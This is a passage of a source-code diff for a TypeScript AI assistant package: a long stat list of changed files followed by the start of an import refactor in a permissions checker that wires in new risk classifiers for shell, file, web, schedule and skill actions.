- package/src/memory/jobs-worker.ts +4 -0
- package/src/memory/migrations/041-approval-prompt-ts-tracker.ts +26 -0
- package/src/memory/migrations/140-backfill-usage-cache-accounting.ts +1 -1
- package/src/memory/migrations/149-oauth-tables.ts +1 -0
- package/src/memory/migrations/220-normalize-user-file-by-principal.ts +2 -2
- package/src/memory/migrations/222-strip-placeholder-sentinels-from-messages.ts +82 -0
- package/src/memory/migrations/223-schedule-script-column.ts +11 -0
- package/src/memory/migrations/224-oauth-providers-managed-service-is-paid.ts +24 -0
- package/src/memory/migrations/225-oauth-providers-available-scopes.ts +13 -0
- package/src/memory/migrations/index.ts +5 -0
- package/src/memory/pkb/pkb-index.test.ts +369 -0
- package/src/memory/pkb/pkb-index.ts +255 -0
- package/src/memory/pkb/pkb-reconcile.test.ts +252 -0
- package/src/memory/pkb/pkb-reconcile.ts +148 -0
- package/src/memory/pkb/pkb-search.test.ts +499 -0
- package/src/memory/pkb/pkb-search.ts +159 -0
- package/src/memory/pkb/types.ts +53 -0
- package/src/memory/qdrant-client.test.ts +60 -0
- package/src/memory/qdrant-client.ts +147 -1
- package/src/memory/schema/infrastructure.ts +1 -0
- package/src/memory/schema/oauth.ts +4 -1
- package/src/memory/slack-thread-store.ts +37 -0
- package/src/messaging/providers/gmail/adapter.ts +6 -16
- package/src/messaging/providers/gmail/client.ts +22 -0
- package/src/messaging/providers/gmail/types.ts +7 -0
- package/src/messaging/providers/slack/adapter.ts +14 -2
- package/src/messaging/providers/slack/backfill.test.ts +257 -0
- package/src/messaging/providers/slack/backfill.ts +101 -0
- package/src/messaging/providers/slack/message-metadata.test.ts +316 -0
- package/src/messaging/providers/slack/message-metadata.ts +123 -0
- package/src/messaging/providers/slack/render-transcript.test.ts +1421 -0
- package/src/messaging/providers/slack/render-transcript.ts +501 -0
- package/src/messaging/style-analyzer.ts +5 -2
- package/src/notifications/README.md +9 -5
- package/src/notifications/conversation-pairing.ts +78 -19
- package/src/notifications/copy-composer.ts +0 -5
- package/src/notifications/decision-engine.ts +3 -9
- package/src/notifications/emit-signal.ts +1 -1
- package/src/notifications/preference-extractor.ts +2 -6
- package/src/notifications/signal.ts +1 -2
- package/src/oauth/AGENTS.md +1 -1
- package/src/oauth/__tests__/identity-verifier.test.ts +2 -1
- package/src/oauth/connect-orchestrator.ts +8 -34
- package/src/oauth/connect-types.ts +6 -10
- package/src/oauth/manual-token-connection.ts +23 -0
- package/src/oauth/oauth-store.ts +31 -14
- package/src/oauth/platform-connection.test.ts +47 -0
- package/src/oauth/platform-connection.ts +15 -5
- package/src/oauth/provider-serializer.ts +6 -1
- package/src/oauth/seed-providers.ts +56 -106
- package/src/outbound-proxy/http-forwarder.ts +9 -0
- package/src/permissions/approval-policy.test.ts +1223 -0
- package/src/permissions/approval-policy.ts +309 -0
- package/src/permissions/arg-parser.test.ts +161 -0
- package/src/permissions/arg-parser.ts +141 -0
- package/src/permissions/bash-risk-classifier.test.ts +1620 -0
- package/src/permissions/bash-risk-classifier.ts +950 -0
- package/src/permissions/checker.ts +348 -711
- package/src/permissions/command-registry.test.ts +774 -0
- package/src/permissions/command-registry.ts +1005 -0
- package/src/permissions/defaults.ts +28 -79
- package/src/permissions/file-risk-classifier.test.ts +535 -0
- package/src/permissions/file-risk-classifier.ts +274 -0
- package/src/permissions/gateway-threshold-reader.ts +196 -0
- package/src/permissions/prompter.ts +4 -0
- package/src/permissions/risk-types.ts +262 -0
- package/src/permissions/schedule-risk-classifier.test.ts +129 -0
- package/src/permissions/schedule-risk-classifier.ts +85 -0
- package/src/permissions/secret-prompter.ts +53 -2
- package/src/permissions/shell-identity.ts +2 -42
- package/src/permissions/skill-risk-classifier.test.ts +311 -0
- package/src/permissions/skill-risk-classifier.ts +214 -0
- package/src/permissions/trust-client.ts +52 -25
- package/src/permissions/trust-store-interface.ts +1 -6
- package/src/permissions/trust-store.ts +161 -62
- package/src/permissions/types.ts +25 -14
- package/src/permissions/web-risk-classifier.test.ts +170 -0
- package/src/permissions/web-risk-classifier.ts +89 -0
- package/src/permissions/workspace-policy.ts +9 -19
- package/src/platform/client.ts +19 -1
- package/src/plugins/defaults/circuit-breaker.ts +146 -0
- package/src/plugins/defaults/compaction.ts +145 -0
- package/src/plugins/defaults/empty-response.ts +126 -0
- package/src/plugins/defaults/history-repair.ts +85 -0
- package/src/plugins/defaults/index.ts +116 -0
- package/src/plugins/defaults/injectors.ts +491 -0
- package/src/plugins/defaults/llm-call.ts +82 -0
- package/src/plugins/defaults/memory-retrieval.ts +226 -0
- package/src/plugins/defaults/overflow-reduce.ts +181 -0
- package/src/plugins/defaults/persistence.ts +129 -0
- package/src/plugins/defaults/title-generate.ts +95 -0
- package/src/plugins/defaults/token-estimate.ts +104 -0
- package/src/plugins/defaults/tool-error.ts +126 -0
- package/src/plugins/defaults/tool-execute.ts +89 -0
- package/src/plugins/defaults/tool-result-truncate.ts +88 -0
- package/src/plugins/pipeline.ts +316 -0
- package/src/plugins/plugin-skill-contributions.ts +292 -0
- package/src/plugins/registry.ts +241 -0
- package/src/plugins/types.ts +1134 -0
- package/src/plugins/user-loader.ts +177 -0
- package/src/prompts/persona-resolver.ts +3 -3
- package/src/prompts/system-prompt.ts +19 -20
- package/src/prompts/templates/BOOTSTRAP.md +27 -77
- package/src/prompts/templates/SOUL.md +2 -2
- package/src/prompts/update-bulletin-job.ts +190 -0
- package/src/providers/__tests__/context-overflow-error.test.ts +328 -0
- package/src/providers/__tests__/provider-env-vars.test.ts +102 -0
- package/src/providers/__tests__/retry-callsite.test.ts +424 -0
- package/src/providers/anthropic/client.ts +183 -14
- package/src/providers/call-site-routing.ts +71 -0
- package/src/providers/gemini/client.ts +65 -2
- package/src/providers/managed-proxy/constants.ts +2 -1
- package/src/providers/model-catalog.ts +524 -33
- package/src/providers/model-intents.ts +4 -4
- package/src/providers/openai/chat-completions-provider.ts +57 -1
- package/src/providers/openai/responses-provider.ts +86 -9
- package/src/providers/openrouter/client.ts +80 -9
- package/src/providers/provider-env-vars.ts +56 -0
- package/src/providers/provider-send-message.ts +22 -5
- package/src/providers/ratelimit.ts +4 -0
- package/src/providers/registry.ts +19 -8
- package/src/providers/retry.ts +174 -39
- package/src/providers/speech-to-text/__tests__/resolve.test.ts +55 -0
- package/src/providers/speech-to-text/deepgram-realtime.test.ts +61 -0
- package/src/providers/speech-to-text/deepgram-realtime.ts +57 -0
- package/src/providers/speech-to-text/google-gemini-live-stream.ts +4 -4
- package/src/providers/speech-to-text/provider-catalog.ts +17 -0
- package/src/providers/speech-to-text/resolve.ts +7 -0
- package/src/providers/speech-to-text/xai-realtime.test.ts +646 -0
- package/src/providers/speech-to-text/xai-realtime.ts +821 -0
- package/src/providers/speech-to-text/xai.test.ts +155 -0
- package/src/providers/speech-to-text/xai.ts +97 -0
- package/src/providers/types.ts +93 -3
- package/src/runtime/AGENTS.md +27 -18
- package/src/runtime/__tests__/agent-wake.test.ts +43 -2
- package/src/runtime/__tests__/browser-extension-pair-routes.test.ts +3 -3
- package/src/runtime/__tests__/client-registry.test.ts +293 -0
- package/src/runtime/__tests__/interactive-ui.test.ts +673 -0
- package/src/runtime/agent-wake.ts +63 -22
- package/src/runtime/auth/route-policy.ts +4 -0
- package/src/runtime/btw-sidechain.ts +13 -3
- package/src/runtime/channel-reply-delivery.ts +106 -2
- package/src/runtime/client-registry.ts +261 -0
- package/src/runtime/decision-token.ts +116 -0
- package/src/runtime/gateway-client.ts +2 -2
- package/src/runtime/http-router.ts +32 -0
- package/src/runtime/http-server.ts +129 -9
- package/src/runtime/http-types.ts +23 -3
- package/src/runtime/interactive-ui.ts +362 -0
- package/src/runtime/invite-instruction-generator.ts +2 -2
- package/src/runtime/migrations/__tests__/gcs-signed-url.test.ts +176 -0
- package/src/runtime/migrations/__tests__/vbundle-metadata-merge-integration.test.ts +390 -0
- package/src/runtime/migrations/__tests__/vbundle-metadata-merge.test.ts +221 -0
- package/src/runtime/migrations/__tests__/vbundle-streaming-importer.test.ts +1540 -0
- package/src/runtime/migrations/__tests__/vbundle-streaming-validator.test.ts +453 -0
- package/src/runtime/migrations/__tests__/vbundle-tar-stream.test.ts +222 -0
- package/src/runtime/migrations/gcs-signed-url.ts +162 -0
- package/src/runtime/migrations/vbundle-builder.ts +1 -22
- package/src/runtime/migrations/vbundle-importer.ts +154 -9
- package/src/runtime/migrations/vbundle-metadata-merge.ts +124 -0
- package/src/runtime/migrations/vbundle-streaming-importer.ts +2522 -0
- package/src/runtime/migrations/vbundle-streaming-validator.ts +244 -0
- package/src/runtime/migrations/vbundle-tar-stream.ts +217 -0
- package/src/runtime/migrations/vbundle-validator.ts +15 -6
- package/src/runtime/routes/__tests__/home-feed-routes.test.ts +111 -0
- package/src/runtime/routes/__tests__/migration-import-credential-filter.test.ts +114 -75
- package/src/runtime/routes/__tests__/migration-vellum-metadata-reconcile.test.ts +246 -0
- package/src/runtime/routes/approval-prompt-ts-tracker.ts +78 -0
- package/src/runtime/routes/approval-routes.ts +29 -17
- package/src/runtime/routes/approval-strategies/guardian-callback-strategy.ts +9 -0
- package/src/runtime/routes/avatar-routes.ts +20 -4
- package/src/runtime/routes/browser-extension-pair-routes.ts +27 -8
- package/src/runtime/routes/btw-routes.ts +1 -4
- package/src/runtime/routes/conversation-management-routes.ts +20 -2
- package/src/runtime/routes/conversation-routes.ts +351 -138
- package/src/runtime/routes/debug-routes.ts +1 -1
- package/src/runtime/routes/diagnostics-routes.ts +6 -4
- package/src/runtime/routes/events-routes.ts +16 -0
- package/src/runtime/routes/guardian-approval-interception.ts +33 -3
- package/src/runtime/routes/guardian-approval-prompt.ts +13 -3
- package/src/runtime/routes/home-feed-routes.ts +120 -2
- package/src/runtime/routes/inbound-message-handler.ts +987 -2
- package/src/runtime/routes/inbound-stages/background-dispatch.test.ts +113 -2
- package/src/runtime/routes/inbound-stages/background-dispatch.ts +61 -3
- package/src/runtime/routes/inbound-stages/edit-intercept.ts +129 -6
- package/src/runtime/routes/integrations/slack/channel.ts +25 -3
- package/src/runtime/routes/llm-context-normalization.ts +23 -1
- package/src/runtime/routes/memory-item-routes.test.ts +1 -0
- package/src/runtime/routes/migration-routes.ts +720 -127
- package/src/runtime/routes/playground/__tests__/force-compact.test.ts +284 -0
- package/src/runtime/routes/playground/__tests__/guard.test.ts +80 -0
- package/src/runtime/routes/playground/__tests__/inject-failures.test.ts +294 -0
- package/src/runtime/routes/playground/__tests__/reset-circuit.test.ts +271 -0
- package/src/runtime/routes/playground/__tests__/seed-conversation.test.ts +202 -0
- package/src/runtime/routes/playground/__tests__/seeded-conversations.test.ts +309 -0
- package/src/runtime/routes/playground/__tests__/state.test.ts +224 -0
- package/src/runtime/routes/playground/conversation-not-found.ts +29 -0
- package/src/runtime/routes/playground/deps.ts +56 -0
- package/src/runtime/routes/playground/force-compact.ts +73 -0
- package/src/runtime/routes/playground/guard.ts +37 -0
- package/src/runtime/routes/playground/index.ts +28 -0
- package/src/runtime/routes/playground/inject-failures.ts +159 -0
- package/src/runtime/routes/playground/reset-circuit.ts +115 -0
- package/src/runtime/routes/playground/seed-conversation.ts +139 -0
- package/src/runtime/routes/playground/seeded-conversations.ts +78 -0
- package/src/runtime/routes/playground/state.ts +78 -0
- package/src/runtime/routes/schedule-routes.ts +89 -8
- package/src/runtime/routes/settings-routes.ts +4 -2
- package/src/runtime/routes/trust-rules-routes.ts +30 -14
- package/src/runtime/routes/work-items-routes.test.ts +1 -1
- package/src/runtime/routes/work-items-routes.ts +3 -2
- package/src/runtime/services/__tests__/analyze-conversation.test.ts +25 -43
- package/src/runtime/services/analyze-conversation.ts +12 -16
- package/src/runtime/skill-route-registry.ts +97 -15
- package/src/schedule/run-script.ts +68 -0
- package/src/schedule/schedule-store.ts +7 -1
- package/src/schedule/scheduler.ts +56 -8
- package/src/security/__tests__/provider-key-env-fallback.test.ts +119 -0
- package/src/security/__tests__/untrusted-content.test.ts +109 -0
- package/src/security/oauth2.ts +98 -35
- package/src/security/secure-keys.ts +7 -8
- package/src/security/token-manager.ts +27 -13
- package/src/security/untrusted-content.ts +102 -0
- package/src/skills/catalog-cache.ts +35 -9
- package/src/skills/catalog-install.ts +31 -3
- package/src/skills/skill-cache-store.ts +97 -0
- package/src/stt/__tests__/daemon-batch-transcriber.test.ts +76 -0
- package/src/stt/daemon-batch-transcriber.ts +33 -0
- package/src/stt/stt-stream-session.ts +8 -1
- package/src/stt/types.ts +5 -1
- package/src/subagent/manager.ts +41 -13
- package/src/tasks/ephemeral-permissions.ts +9 -4
- package/src/telemetry/usage-telemetry-reporter.ts +27 -5
- package/src/tools/browser/__tests__/browser-status.test.ts +234 -2
- package/src/tools/browser/browser-execution.ts +150 -54
- package/src/tools/browser/cdp-client/__tests__/extension-cdp-client.test.ts +230 -0
- package/src/tools/browser/cdp-client/__tests__/factory.test.ts +146 -3
- package/src/tools/browser/cdp-client/cdp-inspect/discovery.ts +22 -0
- package/src/tools/browser/cdp-client/extension-cdp-client.ts +54 -3
- package/src/tools/browser/cdp-client/factory.ts +15 -4
- package/src/tools/credentials/tool-policy.ts +39 -5
- package/src/tools/credentials/vault.ts +9 -4
- package/src/tools/executor.ts +129 -73
- package/src/tools/filesystem/write.ts +52 -0
- package/src/tools/host-terminal/host-shell.ts +45 -5
- package/src/tools/memory/register.test.ts +185 -0
- package/src/tools/memory/register.ts +3 -1
- package/src/tools/network/script-proxy/session-manager.ts +37 -1
- package/src/tools/network/web-fetch.ts +20 -10
- package/src/tools/network/web-search.ts +19 -4
- package/src/tools/permission-checker.ts +116 -46
- package/src/tools/policy-context.ts +29 -8
- package/src/tools/registry.ts +195 -6
- package/src/tools/schedule/create.ts +23 -8
- package/src/tools/schedule/update.ts +3 -1
- package/src/tools/secret-detection-handler.ts +0 -51
- package/src/tools/side-effects.ts +0 -11
- package/src/tools/skills/execute.ts +2 -2
- package/src/tools/skills/sandbox-runner.ts +5 -2
- package/src/tools/system/avatar-generator.ts +6 -2
- package/src/tools/terminal/backends/native.ts +51 -2
- package/src/tools/terminal/safe-env.ts +3 -2
- package/src/tools/terminal/shell.ts +1 -0
- package/src/tools/tool-manifest.ts +6 -21
- package/src/tools/types.ts +40 -5
- package/src/tools/verification-control-plane-policy.ts +1 -1
- package/src/tts/__tests__/provider-adapters.test.ts +240 -13
- package/src/tts/provider-catalog.ts +18 -0
- package/src/tts/providers/index.ts +2 -0
- package/src/tts/providers/xai-provider.ts +224 -0
- package/src/tts/types.ts +46 -0
- package/src/types/tar-stream.d.ts +66 -0
- package/src/util/json.ts +17 -0
- package/src/util/platform.ts +9 -4
- package/src/util/pricing.ts +41 -8
- package/src/watcher/engine.ts +1 -1
- package/src/watcher/providers/google-calendar.ts +134 -8
- package/src/watcher/providers/outlook-calendar.ts +42 -2
- package/src/workspace/git-service.ts +23 -4
- package/src/workspace/migrations/006-services-config.ts +2 -4
- package/src/workspace/migrations/022-move-hooks-to-workspace.ts +2 -3
- package/src/workspace/migrations/038-unify-llm-callsite-configs.ts +516 -0
- package/src/workspace/migrations/039-drop-legacy-llm-keys.ts +171 -0
- package/src/workspace/migrations/040-seed-latency-callsite-defaults.ts +154 -0
- package/src/workspace/migrations/041-backfill-google-gmail-settings-scope.ts +56 -0
- package/src/workspace/migrations/042-fix-backfill-google-gmail-settings-scope.ts +70 -0
- package/src/workspace/migrations/043-release-notes-latex-rendering.ts +75 -0
- package/src/workspace/migrations/044-bump-stale-provider-stream-timeout.ts +51 -0
- package/src/workspace/migrations/045-release-notes-meet-avatar.ts +130 -0
- package/src/workspace/migrations/046-seed-conversation-starters-callsite.ts +108 -0
- package/src/workspace/migrations/047-remove-watch-callsites.ts +54 -0
- package/src/workspace/migrations/048-remove-workspace-hooks.ts +81 -0
- package/src/workspace/migrations/049-release-notes-default-sonnet.ts +80 -0
- package/src/workspace/migrations/050-seed-main-agent-opus-callsite.ts +86 -0
- package/src/workspace/migrations/051-seed-conversation-summarization-callsite.ts +128 -0
- package/src/workspace/migrations/AGENTS.md +1 -1
- package/src/workspace/migrations/registry.ts +28 -0
- package/src/workspace/provider-commit-message-generator.ts +19 -38
- package/tsconfig.json +1 -1
- package/hook-templates/debug-prompt-logger/hook.json +0 -7
- package/hook-templates/debug-prompt-logger/run.sh +0 -66
- package/src/__tests__/context-overflow-approval.test.ts +0 -156
- package/src/__tests__/gmail-archive-fallback.test.ts +0 -193
- package/src/__tests__/gmail-archive-gate.test.ts +0 -246
- package/src/__tests__/gmail-preferences.test.ts +0 -117
- package/src/__tests__/hooks-blocking.test.ts +0 -178
- package/src/__tests__/hooks-cli.test.ts +0 -182
- package/src/__tests__/hooks-config.test.ts +0 -108
- package/src/__tests__/hooks-discovery.test.ts +0 -211
- package/src/__tests__/hooks-integration.test.ts +0 -196
- package/src/__tests__/hooks-manager.test.ts +0 -226
- package/src/__tests__/hooks-runner.test.ts +0 -175
- package/src/__tests__/hooks-settings.test.ts +0 -160
- package/src/__tests__/hooks-templates.test.ts +0 -169
- package/src/__tests__/hooks-ts-runner.test.ts +0 -170
- package/src/__tests__/hooks-watch.test.ts +0 -112
- package/src/__tests__/notification-schedule-dedup.test.ts +0 -213
- package/src/__tests__/oauth-scope-policy.test.ts +0 -180
- package/src/__tests__/outlook-attachments.test.ts +0 -301
- package/src/__tests__/outlook-automation-tools.test.ts +0 -425
- package/src/__tests__/outlook-categories.test.ts +0 -212
- package/src/__tests__/outlook-compose-tools.test.ts +0 -325
- package/src/__tests__/outlook-declutter-tools.test.ts +0 -585
- package/src/__tests__/outlook-follow-up.test.ts +0 -196
- package/src/__tests__/outlook-trash.test.ts +0 -77
- package/src/__tests__/outlook-unsubscribe.test.ts +0 -279
- package/src/__tests__/send-notification-tool.test.ts +0 -83
- package/src/__tests__/update-bulletin-format.test.ts +0 -181
- package/src/__tests__/update-bulletin-state.test.ts +0 -135
- package/src/__tests__/update-bulletin.test.ts +0 -478
- package/src/__tests__/update-template-contract.test.ts +0 -29
- package/src/cli/commands/doctor.ts +0 -341
- package/src/cli/commands/shotgun.ts +0 -266
- package/src/config/bundled-skills/browser/SKILL.md +0 -88
- package/src/config/bundled-skills/browser/TOOLS.json +0 -516
- package/src/config/bundled-skills/browser/tools/browser-attach.ts +0 -12
- package/src/config/bundled-skills/browser/tools/browser-click.ts +0 -12
- package/src/config/bundled-skills/browser/tools/browser-close.ts +0 -12
- package/src/config/bundled-skills/browser/tools/browser-detach.ts +0 -12
- package/src/config/bundled-skills/browser/tools/browser-extract.ts +0 -12
- package/src/config/bundled-skills/browser/tools/browser-fill-credential.ts +0 -12
- package/src/config/bundled-skills/browser/tools/browser-hover.ts +0 -12
- package/src/config/bundled-skills/browser/tools/browser-navigate.ts +0 -12
- package/src/config/bundled-skills/browser/tools/browser-press-key.ts +0 -12
- package/src/config/bundled-skills/browser/tools/browser-screenshot.ts +0 -12
- package/src/config/bundled-skills/browser/tools/browser-scroll.ts +0 -12
- package/src/config/bundled-skills/browser/tools/browser-select-option.ts +0 -12
- package/src/config/bundled-skills/browser/tools/browser-snapshot.ts +0 -12
- package/src/config/bundled-skills/browser/tools/browser-status.ts +0 -12
- package/src/config/bundled-skills/browser/tools/browser-type.ts +0 -12
- package/src/config/bundled-skills/browser/tools/browser-wait-for-download.ts +0 -49
- package/src/config/bundled-skills/browser/tools/browser-wait-for.ts +0 -12
- package/src/config/bundled-skills/chatgpt-import/SKILL.md +0 -27
- package/src/config/bundled-skills/chatgpt-import/TOOLS.json +0 -27
- package/src/config/bundled-skills/chatgpt-import/tools/chatgpt-import.ts +0 -378
- package/src/config/bundled-skills/conversations/SKILL.md +0 -20
- package/src/config/bundled-skills/conversations/TOOLS.json +0 -23
- package/src/config/bundled-skills/conversations/tools/rename-conversation.ts +0 -66
- package/src/config/bundled-skills/gmail/SKILL.md +0 -221
- package/src/config/bundled-skills/gmail/TOOLS.json +0 -588
- package/src/config/bundled-skills/gmail/tools/gmail-archive.ts +0 -256
- package/src/config/bundled-skills/gmail/tools/gmail-attachments.ts +0 -112
- package/src/config/bundled-skills/gmail/tools/gmail-draft.ts +0 -44
- package/src/config/bundled-skills/gmail/tools/gmail-filters.ts +0 -81
- package/src/config/bundled-skills/gmail/tools/gmail-follow-up.ts +0 -108
- package/src/config/bundled-skills/gmail/tools/gmail-forward.ts +0 -146
- package/src/config/bundled-skills/gmail/tools/gmail-label.ts +0 -53
- package/src/config/bundled-skills/gmail/tools/gmail-outreach-scan.ts +0 -347
- package/src/config/bundled-skills/gmail/tools/gmail-preferences-tool.ts +0 -59
- package/src/config/bundled-skills/gmail/tools/gmail-preferences.ts +0 -82
- package/src/config/bundled-skills/gmail/tools/gmail-send-draft.ts +0 -26
- package/src/config/bundled-skills/gmail/tools/gmail-sender-digest.ts +0 -347
- package/src/config/bundled-skills/gmail/tools/gmail-trash.ts +0 -29
- package/src/config/bundled-skills/gmail/tools/gmail-unsubscribe.ts +0 -122
- package/src/config/bundled-skills/gmail/tools/gmail-vacation.ts +0 -67
- package/src/config/bundled-skills/gmail/tools/scan-result-store.ts +0 -100
- package/src/config/bundled-skills/gmail/tools/shared.ts +0 -47
- package/src/config/bundled-skills/google-calendar/SKILL.md +0 -51
- package/src/config/bundled-skills/google-calendar/TOOLS.json +0 -226
- package/src/config/bundled-skills/google-calendar/calendar-client.ts +0 -223
- package/src/config/bundled-skills/google-calendar/tools/calendar-check-availability.ts +0 -27
- package/src/config/bundled-skills/google-calendar/tools/calendar-create-event.ts +0 -48
- package/src/config/bundled-skills/google-calendar/tools/calendar-get-event.ts +0 -19
- package/src/config/bundled-skills/google-calendar/tools/calendar-list-events.ts +0 -36
- package/src/config/bundled-skills/google-calendar/tools/calendar-rsvp.ts +0 -58
- package/src/config/bundled-skills/google-calendar/tools/shared.ts +0 -17
- package/src/config/bundled-skills/google-calendar/types.ts +0 -97
- package/src/config/bundled-skills/heartbeat/SKILL.md +0 -43
- package/src/config/bundled-skills/notifications/SKILL.md +0 -40
- package/src/config/bundled-skills/notifications/TOOLS.json +0 -80
- package/src/config/bundled-skills/notifications/tools/send-notification.ts +0 -152
- package/src/config/bundled-skills/notifications/tools/shared.ts +0 -13
- package/src/config/bundled-skills/outlook/SKILL.md +0 -196
- package/src/config/bundled-skills/outlook/TOOLS.json +0 -530
- package/src/config/bundled-skills/outlook/tools/outlook-attachments.ts +0 -85
- package/src/config/bundled-skills/outlook/tools/outlook-categories.ts +0 -77
- package/src/config/bundled-skills/outlook/tools/outlook-draft.ts +0 -84
- package/src/config/bundled-skills/outlook/tools/outlook-follow-up.ts +0 -94
- package/src/config/bundled-skills/outlook/tools/outlook-forward.ts +0 -49
- package/src/config/bundled-skills/outlook/tools/outlook-outreach-scan.ts +0 -237
- package/src/config/bundled-skills/outlook/tools/outlook-rules.ts +0 -161
- package/src/config/bundled-skills/outlook/tools/outlook-send-draft.ts +0 -32
- package/src/config/bundled-skills/outlook/tools/outlook-sender-digest.ts +0 -272
- package/src/config/bundled-skills/outlook/tools/outlook-trash.ts +0 -29
- package/src/config/bundled-skills/outlook/tools/outlook-unsubscribe.ts +0 -129
- package/src/config/bundled-skills/outlook/tools/outlook-vacation.ts +0 -87
- package/src/config/bundled-skills/outlook/tools/shared.ts +0 -20
- package/src/config/bundled-skills/outlook-calendar/SKILL.md +0 -51
- package/src/config/bundled-skills/outlook-calendar/TOOLS.json +0 -221
- package/src/config/bundled-skills/outlook-calendar/calendar-client.ts +0 -252
- package/src/config/bundled-skills/outlook-calendar/tools/outlook-calendar-check-availability.ts +0 -53
- package/src/config/bundled-skills/outlook-calendar/tools/outlook-calendar-create-event.ts +0 -74
- package/src/config/bundled-skills/outlook-calendar/tools/outlook-calendar-get-event.ts +0 -18
- package/src/config/bundled-skills/outlook-calendar/tools/outlook-calendar-list-events.ts +0 -46
- package/src/config/bundled-skills/outlook-calendar/tools/outlook-calendar-rsvp.ts +0 -36
- package/src/config/bundled-skills/outlook-calendar/tools/shared.ts +0 -17
- package/src/config/bundled-skills/outlook-calendar/types.ts +0 -120
- package/src/config/bundled-skills/screen-watch/SKILL.md +0 -27
- package/src/config/bundled-skills/screen-watch/TOOLS.json +0 -35
- package/src/config/bundled-skills/screen-watch/tools/start-screen-watch.ts +0 -12
- package/src/config/bundled-skills/skills-catalog/SKILL.md +0 -84
- package/src/config/bundled-skills/slack/SKILL.md +0 -108
- package/src/config/bundled-skills/tasks/SKILL.md +0 -37
- package/src/config/bundled-skills/tasks/TOOLS.json +0 -353
- package/src/config/bundled-skills/tasks/icon.svg +0 -34
- package/src/config/bundled-skills/tasks/tools/task-delete.ts +0 -12
- package/src/config/bundled-skills/tasks/tools/task-list-add.ts +0 -12
- package/src/config/bundled-skills/tasks/tools/task-list-remove.ts +0 -12
- package/src/config/bundled-skills/tasks/tools/task-list-show.ts +0 -12
- package/src/config/bundled-skills/tasks/tools/task-list-update.ts +0 -12
- package/src/config/bundled-skills/tasks/tools/task-list.ts +0 -12
- package/src/config/bundled-skills/tasks/tools/task-queue-run.ts +0 -12
- package/src/config/bundled-skills/tasks/tools/task-run.ts +0 -12
- package/src/config/bundled-skills/tasks/tools/task-save.ts +0 -12
- package/src/config/bundled-skills/watcher/SKILL.md +0 -31
- package/src/config/bundled-skills/watcher/TOOLS.json +0 -167
- package/src/config/bundled-skills/watcher/tools/watcher-create.ts +0 -12
- package/src/config/bundled-skills/watcher/tools/watcher-delete.ts +0 -12
- package/src/config/bundled-skills/watcher/tools/watcher-digest.ts +0 -12
- package/src/config/bundled-skills/watcher/tools/watcher-list.ts +0 -12
- package/src/config/bundled-skills/watcher/tools/watcher-update.ts +0 -12
- package/src/daemon/context-overflow-approval.ts +0 -52
- package/src/daemon/watch-handler.ts +0 -399
- package/src/hooks/cli.ts +0 -253
- package/src/hooks/config.ts +0 -100
- package/src/hooks/discovery.ts +0 -135
- package/src/hooks/manager.ts +0 -179
- package/src/hooks/runner.ts +0 -117
- package/src/hooks/templates.ts +0 -77
- package/src/hooks/types.ts +0 -75
- package/src/oauth/scope-policy.ts +0 -89
- package/src/prompts/templates/UPDATES.md +0 -50
- package/src/prompts/update-bulletin-format.ts +0 -85
- package/src/prompts/update-bulletin-state.ts +0 -58
- package/src/prompts/update-bulletin-template-path.ts +0 -13
- package/src/prompts/update-bulletin.ts +0 -139
- package/src/runtime/gateway-internal-client.ts +0 -94
- package/src/runtime/routes/watch-routes.ts +0 -156
- package/src/shared/provider-env-vars.ts +0 -19
- package/src/signals/shotgun.ts +0 -203
- package/src/tools/watch/screen-watch.ts +0 -144
- package/src/tools/watch/watch-state.ts +0 -142
- package/src/tools/watcher/create.ts +0 -86
- package/src/tools/watcher/delete.ts +0 -36
- package/src/tools/watcher/digest.ts +0 -54
- package/src/tools/watcher/list.ts +0 -83
- package/src/tools/watcher/update.ts +0 -71
|
@@ -7,11 +7,7 @@ import { getIsContainerized } from "../config/env-registry.js";
|
|
|
7
7
|
import { getConfig } from "../config/loader.js";
|
|
8
8
|
import { loadSkillCatalog, resolveSkillSelector } from "../config/skills.js";
|
|
9
9
|
import { indexCatalogById } from "../skills/include-graph.js";
|
|
10
|
-
import {
|
|
11
|
-
isSkillSourcePath,
|
|
12
|
-
normalizeDirPath,
|
|
13
|
-
normalizeFilePath,
|
|
14
|
-
} from "../skills/path-classifier.js";
|
|
10
|
+
import { normalizeFilePath } from "../skills/path-classifier.js";
|
|
15
11
|
import { computeTransitiveSkillVersionHash } from "../skills/transitive-version-hash.js";
|
|
16
12
|
import { computeSkillVersionHash } from "../skills/version-hash.js";
|
|
17
13
|
import type { ManifestOverride } from "../tools/execution-target.js";
|
|
@@ -20,17 +16,31 @@ import {
|
|
|
20
16
|
looksLikePathOnlyInput,
|
|
21
17
|
} from "../tools/network/url-safety.js";
|
|
22
18
|
import { getTool } from "../tools/registry.js";
|
|
19
|
+
import { getWorkspaceDir } from "../util/platform.js";
|
|
20
|
+
import {
|
|
21
|
+
type ApprovalContext,
|
|
22
|
+
DefaultApprovalPolicy,
|
|
23
|
+
resolveThreshold,
|
|
24
|
+
} from "./approval-policy.js";
|
|
25
|
+
import { parseArgs } from "./arg-parser.js";
|
|
26
|
+
import { bashRiskClassifier } from "./bash-risk-classifier.js";
|
|
27
|
+
import { DEFAULT_COMMAND_REGISTRY } from "./command-registry.js";
|
|
28
|
+
import { fileRiskClassifier } from "./file-risk-classifier.js";
|
|
29
|
+
import { getAutoApproveThreshold } from "./gateway-threshold-reader.js";
|
|
23
30
|
import {
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
} from "
|
|
31
|
+
type CommandRiskSpec,
|
|
32
|
+
type RiskAssessment,
|
|
33
|
+
riskToRiskLevel,
|
|
34
|
+
} from "./risk-types.js";
|
|
35
|
+
import { scheduleRiskClassifier } from "./schedule-risk-classifier.js";
|
|
28
36
|
import {
|
|
37
|
+
analyzeShellCommand,
|
|
29
38
|
buildShellAllowlistOptions,
|
|
30
|
-
buildShellCommandCandidates,
|
|
31
39
|
cachedParse,
|
|
40
|
+
deriveShellActionKeys,
|
|
32
41
|
type ParsedCommand,
|
|
33
42
|
} from "./shell-identity.js";
|
|
43
|
+
import { skillLoadRiskClassifier } from "./skill-risk-classifier.js";
|
|
34
44
|
import { findHighestPriorityRule, onRulesChanged } from "./trust-store.js";
|
|
35
45
|
import {
|
|
36
46
|
type AllowlistOption,
|
|
@@ -39,7 +49,11 @@ import {
|
|
|
39
49
|
RiskLevel,
|
|
40
50
|
type ScopeOption,
|
|
41
51
|
} from "./types.js";
|
|
42
|
-
import {
|
|
52
|
+
import { webRiskClassifier } from "./web-risk-classifier.js";
|
|
53
|
+
import {
|
|
54
|
+
isPathWithinWorkspaceRoot,
|
|
55
|
+
